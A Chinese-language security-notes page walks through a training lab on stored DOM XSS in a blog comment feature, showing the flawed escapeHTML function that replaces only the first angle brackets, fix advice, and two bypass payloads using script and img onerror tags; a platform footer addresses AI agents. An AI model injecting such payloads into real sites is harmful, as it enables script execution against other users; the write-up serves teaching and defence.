> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/stored-dom-xss.md).

# XSS DOM 存储型

### 存储型 DOM XSS

这个实验演示了一个存储在博客评论功能中的 DOM 漏洞。要完成实验，请利用该漏洞运行 `alert()` 函数。

如果你插入经典的 `脚本` 到评论区域：

```javascript
<script>alert(0)</script>
```

我们注意到该网站会删除评论的一部分。

<figure><img src="/files/3d50f9101ba9ff1fec294b4560f29769c64b42c1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/56478fd3b2ce41333975ebb2742344650fa7e0a0" alt=""><figcaption></figcaption></figure>

函数如下：

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* 该 `escapeHTML(HTML)` 该函数不会转义 **第一个** 出现的 `<` 和 `>` （使用 `replace` 很简单）。
* 由于代码随后使用 `innerHTML` 来插入值，恶意标签可以保留下来并被浏览器解释。
* 因此，过滤只对第一次匹配有效；后续出现仍然存在漏洞。

<figure><img src="/files/31d086390cf2ee6271d1f643db0e45de8ac86667" alt=""><figcaption></figcaption></figure>

* 使用全局替换（`replaceAll` 或全局正则表达式）来转义 **所有** 出现的 `<` 和 `>`.
* 避免使用 `innerHTML` 来处理不可靠的数据；应优先使用 `textContent` 或 `createTextNode`

<figure><img src="/files/dc885b47a4c250c8d4f9ae6033cb72ee93296287" alt=""><figcaption></figcaption></figure>

可利用的载荷

* 闭合并注入脚本：

```javascript
<><script>alert(0)</script>
```

* 强制图片错误以触发 `onerror：`

```javascript
<><img src=0 onerror=alert(0)>
```

这些载荷之所以有效，是因为只有少数字符被转换，而 `<`/`>` 的其他出现仍然可以被解释。

<figure><img src="/files/bf04e66853e23df2cb64d44fc64704b00d3eac41" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/stored-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
